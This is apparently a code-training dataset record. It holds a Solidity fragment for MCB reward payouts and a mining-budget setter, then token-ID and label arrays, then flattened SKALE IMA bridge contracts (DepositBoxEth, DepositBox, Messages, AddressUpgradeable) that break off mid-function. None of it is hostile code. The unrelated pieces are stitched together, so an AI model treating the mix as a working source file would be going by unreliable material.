IERC20(_mcb); uint256 total = 0; uint256 len = recipients.length; for (uint256 i = 0; i < len; i++) { total += values[i]; } // transfer mcb token from sender to contract require(token.balanceOf(address(this)) >= total, "mcb balance not enough."); // transfer mcb token to each user for (uint256 i = 0; i < len; i++) { require(token.transfer(recipients[i], values[i]), "transfer failed."); emit RewardPaid(recipients[i], values[i], paidBlock); } } }
* @notice Set new mining budget. Can only called by owner. @param newBudget mining budget/
function setMingingBudget(int256 newBudget) external onlyOwner { require(newBudget >= 0, "negative budget"); require(_budget != newBudget, "unchanged budget"); emit MiningBudgetChange(_budget, newBudget); _budget = newBudget; }
5,345,696
[ 1, 694, 394, 1131, 310, 15051, 18, 4480, 1338, 2566, 635, 3410, 18, 565, 394, 16124, 225, 1131, 310, 15051, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 15430, 310, 310, 16124, 12, 474, 5034, 394, 16124, 13, 3903, 1338, 5541, 288, 203, 3639, 2583, 12, 2704, 16124, 1545, 374, 16, 315, 13258, 15051, 8863, 203, 3639, 2583, 24899, 70, 8562, 480, 394, 16124, 16, 315, 4384, 2330, 15051, 8863, 203, 3639, 3626, 5444, 310, 16124, 3043, 24899, 70, 8562, 16, 394, 16124, 1769, 203, 3639, 389, 70, 8562, 273, 394, 16124, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: AGPL-3.0-only /** * DepositBoxEth.sol - SKALE Interchain Messaging Agent * Copyright (C) 2019-Present SKALE Labs * @author Artem Payvin * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.6; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@skalenetwork/ima-interfaces/mainnet/DepositBoxes/IDepositBoxEth.sol"; import "../DepositBox.sol"; import "../../Messages.sol"; /** * @title DepositBoxEth * @dev Runs on mainnet, * accepts messages from schain, * stores deposits of ETH. */ contract DepositBoxEth is DepositBox, IDepositBoxEth { using AddressUpgradeable for address payable; mapping(address => uint256) public approveTransfers; mapping(bytes32 => uint256) public transferredAmount; mapping(bytes32 => bool) public activeEthTransfers; event ActiveEthTransfers(bytes32 indexed schainHash, bool active); receive() external payable override { revert("Use deposit function"); } /** * @dev Allows `msg.sender` to send ETH from mainnet to schain. * * Requirements: * * - Schain name must not be `Mainnet`. * - Receiver contract should be added as twin contract on schain. * - Schain that receives tokens should not be killed. */ function deposit(string memory schainName) external payable override rightTransaction(schainName, msg.sender) whenNotKilled(keccak256(abi.encodePacked(schainName))) { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); address contractReceiver = schainLinks[schainHash]; require(contractReceiver != address(0), "Unconnected chain"); _saveTransferredAmount(schainHash, msg.value); messageProxy.postOutgoingMessage( schainHash, contractReceiver, Messages.encodeTransferEthMessage(msg.sender, msg.value) ); } /** * @dev Allows MessageProxyForMainnet contract to execute transferring ERC20 token from schain to mainnet. * * Requirements: * * - Schain from which the eth came should not be killed. * - Sender contract should be defined and schain name cannot be `Mainnet`. * - Amount of eth on DepositBoxEth should be equal or more than transferred amount. */ function postMessage( bytes32 schainHash, address sender, bytes calldata data ) external override onlyMessageProxy whenNotKilled(schainHash) checkReceiverChain(schainHash, sender) { Messages.TransferEthMessage memory message = Messages.decodeTransferEthMessage(data); require( message.amount <= address(this).balance, "Not enough money to finish this transaction" ); _removeTransferredAmount(schainHash, message.amount); if (!activeEthTransfers[schainHash]) { approveTransfers[message.receiver] += message.amount; } else { payable(message.receiver).sendValue(message.amount); } } /** * @dev Transfers a user's ETH. * * Requirements: * * - DepositBoxETh must have sufficient ETH. * - User must be approved for ETH transfer. */ function getMyEth() external override { require(approveTransfers[msg.sender] > 0, "User has insufficient ETH"); uint256 amount = approveTransfers[msg.sender]; approveTransfers[msg.sender] = 0; payable(msg.sender).sendValue(amount); } /** * @dev Allows Schain owner to return each user their ETH. * * Requirements: * * - Amount of ETH on schain should be equal or more than transferred amount. * - Receiver address must not be null. * - msg.sender should be an owner of schain * - IMA transfers Mainnet <-> schain should be killed */ function getFunds(string calldata schainName, address payable receiver, uint amount) external override onlySchainOwner(schainName) whenKilled(keccak256(abi.encodePacked(schainName))) { require(receiver != address(0), "Receiver address has to be set"); bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require(transferredAmount[schainHash] >= amount, "Incorrect amount"); _removeTransferredAmount(schainHash, amount); receiver.sendValue(amount); } /** * @dev Allows Schain owner to switch on or switch off active eth transfers. * * Requirements: * * - msg.sender should be an owner of schain * - IMA transfers Mainnet <-> schain should be killed */ function enableActiveEthTransfers(string calldata schainName) external override onlySchainOwner(schainName) whenNotKilled(keccak256(abi.encodePacked(schainName))) { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require(!activeEthTransfers[schainHash], "Active eth transfers enabled"); emit ActiveEthTransfers(schainHash, true); activeEthTransfers[schainHash] = true; } /** * @dev Allows Schain owner to switch on or switch off active eth transfers. * * Requirements: * * - msg.sender should be an owner of schain * - IMA transfers Mainnet <-> schain should be killed */ function disableActiveEthTransfers(string calldata schainName) external override onlySchainOwner(schainName) whenNotKilled(keccak256(abi.encodePacked(schainName))) { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require(activeEthTransfers[schainHash], "Active eth transfers disabled"); emit ActiveEthTransfers(schainHash, false); activeEthTransfers[schainHash] = false; } /** * @dev Returns receiver of message. * * Requirements: * * - Sender contract should be defined and schain name cannot be `Mainnet`. */ function gasPayer( bytes32 schainHash, address sender, bytes calldata data ) external view override checkReceiverChain(schainHash, sender) returns (address) { Messages.TransferEthMessage memory message = Messages.decodeTransferEthMessage(data); return message.receiver; } /** * @dev Creates a new DepositBoxEth contract. */ function initialize( IContractManager contractManagerOfSkaleManagerValue, ILinker linkerValue, IMessageProxyForMainnet messageProxyValue ) public override(DepositBox, IDepositBox) initializer { DepositBox.initialize(contractManagerOfSkaleManagerValue, linkerValue, messageProxyValue); } /** * @dev Saves amount of ETH that was transferred to schain. */ function _saveTransferredAmount(bytes32 schainHash, uint256 amount) private { transferredAmount[schainHash] += amount; } /** * @dev Removes amount of ETH that was transferred from schain. */ function _removeTransferredAmount(bytes32 schainHash, uint256 amount) private { transferredAmount[schainHash] -= amount; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: AGPL-3.0-only /** * IDepositBoxEth.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Dmytro Stebaiev * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; import "../IDepositBox.sol"; interface IDepositBoxEth is IDepositBox { receive() external payable; function deposit(string memory schainName) external payable; function getMyEth() external; function getFunds(string calldata schainName, address payable receiver, uint amount) external; function enableActiveEthTransfers(string calldata schainName) external; function disableActiveEthTransfers(string calldata schainName) external; } // SPDX-License-Identifier: AGPL-3.0-only /** * DepositBox.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Artem Payvin * @author Dmytro Stebaiev * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.6; import "@skalenetwork/ima-interfaces/mainnet/IDepositBox.sol"; import "./Twin.sol"; /** * @title DepositBox * @dev Abstract contracts for DepositBoxes on mainnet. */ abstract contract DepositBox is IDepositBox, Twin { ILinker public linker; // schainHash => true if automatic deployment tokens on schain was enabled mapping(bytes32 => bool) private _automaticDeploy; bytes32 public constant DEPOSIT_BOX_MANAGER_ROLE = keccak256("DEPOSIT_BOX_MANAGER_ROLE"); /** * @dev Modifier for checking whether schain was not killed. */ modifier whenNotKilled(bytes32 schainHash) { require(linker.isNotKilled(schainHash), "Schain is killed"); _; } /** * @dev Modifier for checking whether schain was killed. */ modifier whenKilled(bytes32 schainHash) { require(!linker.isNotKilled(schainHash), "Schain is not killed"); _; } /** * @dev Modifier for checking whether schainName is not equal to `Mainnet` * and address of receiver is not equal to null before transferring funds from mainnet to schain. */ modifier rightTransaction(string memory schainName, address to) { require( keccak256(abi.encodePacked(schainName)) != keccak256(abi.encodePacked("Mainnet")), "SKALE chain name cannot be Mainnet" ); require(to != address(0), "Receiver address cannot be null"); _; } /** * @dev Modifier for checking whether schainHash is not equal to `Mainnet` * and sender contract was added as contract processor on schain. */ modifier checkReceiverChain(bytes32 schainHash, address sender) { require( schainHash != keccak256(abi.encodePacked("Mainnet")) && sender == schainLinks[schainHash], "Receiver chain is incorrect" ); _; } /** * @dev Allows Schain owner turn on whitelist of tokens. */ function enableWhitelist(string memory schainName) external override onlySchainOwner(schainName) { _automaticDeploy[keccak256(abi.encodePacked(schainName))] = false; } /** * @dev Allows Schain owner turn off whitelist of tokens. */ function disableWhitelist(string memory schainName) external override onlySchainOwner(schainName) { _automaticDeploy[keccak256(abi.encodePacked(schainName))] = true; } function initialize( IContractManager contractManagerOfSkaleManagerValue, ILinker newLinker, IMessageProxyForMainnet messageProxyValue ) public override virtual initializer { Twin.initialize(contractManagerOfSkaleManagerValue, messageProxyValue); _setupRole(LINKER_ROLE, address(newLinker)); linker = newLinker; } /** * @dev Returns is whitelist enabled on schain. */ function isWhitelisted(string memory schainName) public view override returns (bool) { return !_automaticDeploy[keccak256(abi.encodePacked(schainName))]; } } // SPDX-License-Identifier: AGPL-3.0-only /** * Messages.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Dmytro Stebaiev * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.6; /** * @title Messages * @dev Library for encoding and decoding messages * for transferring from Mainnet to Schain and vice versa. */ library Messages { /** * @dev Enumerator that describes all supported message types. */ enum MessageType { EMPTY, TRANSFER_ETH, TRANSFER_ERC20, TRANSFER_ERC20_AND_TOTAL_SUPPLY, TRANSFER_ERC20_AND_TOKEN_INFO, TRANSFER_ERC721, TRANSFER_ERC721_AND_TOKEN_INFO, USER_STATUS, INTERCHAIN_CONNECTION, TRANSFER_ERC1155, TRANSFER_ERC1155_AND_TOKEN_INFO, TRANSFER_ERC1155_BATCH, TRANSFER_ERC1155_BATCH_AND_TOKEN_INFO, TRANSFER_ERC721_WITH_METADATA, TRANSFER_ERC721_WITH_METADATA_AND_TOKEN_INFO } /** * @dev Structure for base message. */ struct BaseMessage { MessageType messageType; } /** * @dev Structure for describing ETH. */ struct TransferEthMessage { BaseMessage message; address receiver; uint256 amount; } /** * @dev Structure for user status. */ struct UserStatusMessage { BaseMessage message; address receiver; bool isActive; } /** * @dev Structure for describing ERC20 token. */ struct TransferErc20Message { BaseMessage message; address token; address receiver; uint256 amount; } /** * @dev Structure for describing additional data for ERC20 token. */ struct Erc20TokenInfo { string name; uint8 decimals; string symbol; } /** * @dev Structure for describing ERC20 with token supply. */ struct TransferErc20AndTotalSupplyMessage { TransferErc20Message baseErc20transfer; uint256 totalSupply; } /** * @dev Structure for describing ERC20 with token info. */ struct TransferErc20AndTokenInfoMessage { TransferErc20Message baseErc20transfer; uint256 totalSupply; Erc20TokenInfo tokenInfo; } /** * @dev Structure for describing base ERC721. */ struct TransferErc721Message { BaseMessage message; address token; address receiver; uint256 tokenId; } /** * @dev Structure for describing base ERC721 with metadata. */ struct TransferErc721MessageWithMetadata { TransferErc721Message erc721message; string tokenURI; } /** * @dev Structure for describing ERC20 with token info. */ struct Erc721TokenInfo { string name; string symbol; } /** * @dev Structure for describing additional data for ERC721 token. */ struct TransferErc721AndTokenInfoMessage { TransferErc721Message baseErc721transfer; Erc721TokenInfo tokenInfo; } /** * @dev Structure for describing additional data for ERC721 token with metadata. */ struct TransferErc721WithMetadataAndTokenInfoMessage { TransferErc721MessageWithMetadata baseErc721transferWithMetadata; Erc721TokenInfo tokenInfo; } /** * @dev Structure for describing whether interchain connection is allowed. */ struct InterchainConnectionMessage { BaseMessage message; bool isAllowed; } /** * @dev Structure for describing whether interchain connection is allowed. */ struct TransferErc1155Message { BaseMessage message; address token; address receiver; uint256 id; uint256 amount; } /** * @dev Structure for describing ERC1155 token in batches. */ struct TransferErc1155BatchMessage { BaseMessage message; address token; address receiver; uint256[] ids; uint256[] amounts; } /** * @dev Structure for describing ERC1155 token info. */ struct Erc1155TokenInfo { string uri; } /** * @dev Structure for describing message for transferring ERC1155 token with info. */ struct TransferErc1155AndTokenInfoMessage { TransferErc1155Message baseErc1155transfer; Erc1155TokenInfo tokenInfo; } /** * @dev Structure for describing message for transferring ERC1155 token in batches with info. */ struct TransferErc1155BatchAndTokenInfoMessage { TransferErc1155BatchMessage baseErc1155Batchtransfer; Erc1155TokenInfo tokenInfo; } /** * @dev Returns type of message for encoded data. */ function getMessageType(bytes calldata data) internal pure returns (MessageType) { uint256 firstWord = abi.decode(data, (uint256)); if (firstWord % 32 == 0) { return getMessageType(data[firstWord:]); } else { return abi.decode(data, (Messages.MessageType)); } } /** * @dev Encodes message for transferring ETH. Returns encoded message. */ function encodeTransferEthMessage(address receiver, uint256 amount) internal pure returns (bytes memory) { TransferEthMessage memory message = TransferEthMessage( BaseMessage(MessageType.TRANSFER_ETH), receiver, amount ); return abi.encode(message); } /** * @dev Decodes message for transferring ETH. Returns structure `TransferEthMessage`. */ function decodeTransferEthMessage( bytes calldata data ) internal pure returns (TransferEthMessage memory) { require(getMessageType(data) == MessageType.TRANSFER_ETH, "Message type is not ETH transfer"); return abi.decode(data, (TransferEthMessage)); } /** * @dev Encodes message for transferring ETH. Returns encoded message. */ function encodeTransferErc20Message( address token, address receiver, uint256 amount ) internal pure returns (bytes memory) { TransferErc20Message memory message = TransferErc20Message( BaseMessage(MessageType.TRANSFER_ERC20), token, receiver, amount ); return abi.encode(message); } /** * @dev Encodes message for transferring ERC20 with total supply. Returns encoded message. */ function encodeTransferErc20AndTotalSupplyMessage( address token, address receiver, uint256 amount, uint256 totalSupply ) internal pure returns (bytes memory) { TransferErc20AndTotalSupplyMessage memory message = TransferErc20AndTotalSupplyMessage( TransferErc20Message( BaseMessage(MessageType.TRANSFER_ERC20_AND_TOTAL_SUPPLY), token, receiver, amount ), totalSupply ); return abi.encode(message); } /** * @dev Decodes message for transferring ERC20. Returns structure `TransferErc20Message`. */ function decodeTransferErc20Message( bytes calldata data ) internal pure returns (TransferErc20Message memory) { require(getMessageType(data) == MessageType.TRANSFER_ERC20, "Message type is not ERC20 transfer"); return abi.decode(data, (TransferErc20Message)); } /** * @dev Decodes message for transferring ERC20 with total supply. * Returns structure `TransferErc20AndTotalSupplyMessage`. */ function decodeTransferErc20AndTotalSupplyMessage( bytes calldata data ) internal pure returns (TransferErc20AndTotalSupplyMessage memory) { require( getMessageType(data) == MessageType.TRANSFER_ERC20_AND_TOTAL_SUPPLY, "Message type is not ERC20 transfer and total supply" ); return abi.decode(data, (TransferErc20AndTotalSupplyMessage)); } /** * @dev Encodes message for transferring ERC20 with token info. * Returns encoded message. */ function encodeTransferErc20AndTokenInfoMessage( address token, address receiver, uint256 amount, uint256 totalSupply, Erc20TokenInfo memory tokenInfo ) internal pure returns (bytes memory) { TransferErc20AndTokenInfoMessage memory message = TransferErc20AndTokenInfoMessage( TransferErc20Message( BaseMessage(MessageType.TRANSFER_ERC20_AND_TOKEN_INFO), token, receiver, amount ), totalSupply, tokenInfo ); return abi.encode(message); } /** * @dev Decodes message for transferring ERC20 with token info. * Returns structure `TransferErc20AndTokenInfoMessage`. */ function decodeTransferErc20AndTokenInfoMessage( bytes calldata data ) internal pure returns (TransferErc20AndTokenInfoMessage memory) { require( getMessageType(data) == MessageType.TRANSFER_ERC20_AND_TOKEN_INFO, "Message type is not ERC20 transfer with token info" ); return abi.decode(data, (TransferErc20AndTokenInfoMessage)); } /** * @dev Encodes message for transferring ERC721. * Returns encoded message. */ function encodeTransferErc721Message( address token, address receiver, uint256 tokenId ) internal pure returns (bytes memory) { TransferErc721Message memory message = TransferErc721Message( BaseMessage(MessageType.TRANSFER_ERC721), token, receiver, tokenId ); return abi.encode(message); } /** * @dev Decodes message for transferring ERC721. * Returns structure `TransferErc721Message`. */ function decodeTransferErc721Message( bytes calldata data ) internal pure returns (TransferErc721Message memory) { require(getMessageType(data) == MessageType.TRANSFER_ERC721, "Message type is not ERC721 transfer"); return abi.decode(data, (TransferErc721Message)); } /** * @dev Encodes message for transferring ERC721 with token info. * Returns encoded message. */ function encodeTransferErc721AndTokenInfoMessage( address token, address receiver, uint256 tokenId, Erc721TokenInfo memory tokenInfo ) internal pure returns (bytes memory) { TransferErc721AndTokenInfoMessage memory message = TransferErc721AndTokenInfoMessage( TransferErc721Message( BaseMessage(MessageType.TRANSFER_ERC721_AND_TOKEN_INFO), token, receiver, tokenId ), tokenInfo ); return abi.encode(message); } /** * @dev Decodes message for transferring ERC721 with token info. * Returns structure `TransferErc721AndTokenInfoMessage`. */ function decodeTransferErc721AndTokenInfoMessage( bytes calldata data ) internal pure returns (TransferErc721AndTokenInfoMessage memory) { require( getMessageType(data) == MessageType.TRANSFER_ERC721_AND_TOKEN_INFO, "Message type is not ERC721 transfer with token info" ); return abi.decode(data, (TransferErc721AndTokenInfoMessage)); } /** * @dev Encodes message for transferring ERC721. * Returns encoded message. */ function encodeTransferErc721MessageWithMetadata( address token, address receiver, uint256 tokenId, string memory tokenURI ) internal pure returns (bytes memory) { TransferErc721MessageWithMetadata memory message = TransferErc721MessageWithMetadata( TransferErc721Message( BaseMessage(MessageType.TRANSFER_ERC721_WITH_METADATA), token, receiver, tokenId ), tokenURI ); return abi.encode(message); } /** * @dev Decodes message for transferring ERC721. * Returns structure `TransferErc721MessageWithMetadata`. */ function decodeTransferErc721MessageWithMetadata( bytes calldata data ) internal pure returns (TransferErc721MessageWithMetadata memory) { require( getMessageType(data) == MessageType.TRANSFER_ERC721_WITH_METADATA, "Message type is not ERC721 transfer" ); return abi.decode(data, (TransferErc721MessageWithMetadata)); } /** * @dev Encodes message for transferring ERC721 with token info. * Returns encoded message. */ function encodeTransferErc721WithMetadataAndTokenInfoMessage( address token, address receiver, uint256 tokenId, string memory tokenURI, Erc721TokenInfo memory tokenInfo ) internal pure returns (bytes memory) { TransferErc721WithMetadataAndTokenInfoMessage memory message = TransferErc721WithMetadataAndTokenInfoMessage( TransferErc721MessageWithMetadata( TransferErc721Message( BaseMessage(MessageType.TRANSFER_ERC721_WITH_METADATA_AND_TOKEN_INFO), token, receiver, tokenId ), tokenURI ), tokenInfo ); return abi.encode(message); } /** * @dev Decodes message for transferring ERC721 with token info. * Returns structure `TransferErc721WithMetadataAndTokenInfoMessage`. */ function decodeTransferErc721WithMetadataAndTokenInfoMessage( bytes calldata data ) internal pure returns (TransferErc721WithMetadataAndTokenInfoMessage memory) { require( getMessageType(data) == MessageType.TRANSFER_ERC721_WITH_METADATA_AND_TOKEN_INFO, "Message type is not ERC721 transfer with token info" ); return abi.decode(data, (TransferErc721WithMetadataAndTokenInfoMessage)); } /** * @dev Encodes message for activating user on schain. * Returns encoded message. */ function encodeActivateUserMessage(address receiver) internal pure returns (bytes memory){ return _encodeUserStatusMessage(receiver, true); } /** * @dev Encodes message for locking user on schain. * Returns encoded message. */ function encodeLockUserMessage(address receiver) internal pure returns (bytes memory){ return _encodeUserStatusMessage(receiver, false); } /** * @dev Decodes message for user status. * Returns structure UserStatusMessage. */ function decodeUserStatusMessage(bytes calldata data) internal pure returns (UserStatusMessage memory) { require(getMessageType(data) == MessageType.USER_STATUS, "Message type is not User Status"); return abi.decode(data, (UserStatusMessage)); } /** * @dev Encodes message for allowing interchain connection. * Returns encoded message. */ function encodeInterchainConnectionMessage(bool isAllowed) internal pure returns (bytes memory) { InterchainConnectionMessage memory message = InterchainConnectionMessage( BaseMessage(MessageType.INTERCHAIN_CONNECTION), isAllowed ); return abi.encode(message); } /** * @dev Decodes message for allowing interchain connection. * Returns structure `InterchainConnectionMessage`. */ function decodeInterchainConnectionMessage(bytes calldata data) internal pure returns (InterchainConnectionMessage memory) { require(getMessageType(data) == MessageType.INTERCHAIN_CONNECTION, "Message type is not Interchain connection"); return abi.decode(data, (InterchainConnectionMessage)); } /** * @dev Encodes message for transferring ERC1155 token. * Returns encoded message. */ function encodeTransferErc1155Message( address token, address receiver, uint256 id, uint256 amount ) internal pure returns (bytes memory) { TransferErc1155Message memory message = TransferErc1155Message( BaseMessage(MessageType.TRANSFER_ERC1155), token, receiver, id, amount ); return abi.encode(message); } /** * @dev Decodes message for transferring ERC1155 token. * Returns structure `TransferErc1155Message`. */ function decodeTransferErc1155Message( bytes calldata data ) internal pure returns (TransferErc1155Message memory) { require(getMessageType(data) == MessageType.TRANSFER_ERC1155, "Message type is not ERC1155 transfer"); return abi.decode(data, (TransferErc1155Message)); } /** * @dev Encodes message for transferring ERC1155 with token info. * Returns encoded message. */ function encodeTransferErc1155AndTokenInfoMessage( address token, address receiver, uint256 id, uint256 amount, Erc1155TokenInfo memory tokenInfo ) internal pure returns (bytes memory) { TransferErc1155AndTokenInfoMessage memory message = TransferErc1155AndTokenInfoMessage( TransferErc1155Message( BaseMessage(MessageType.TRANSFER_ERC1155_AND_TOKEN_INFO), token, receiver, id, amount ), tokenInfo ); return abi.encode(message); } /** * @dev Decodes message for transferring ERC1155 with token info. * Returns structure `TransferErc1155AndTokenInfoMessage`. */ function decodeTransferErc1155AndTokenInfoMessage( bytes calldata data ) internal pure returns (TransferErc1155AndTokenInfoMessage memory) { require( getMessageType(data) == 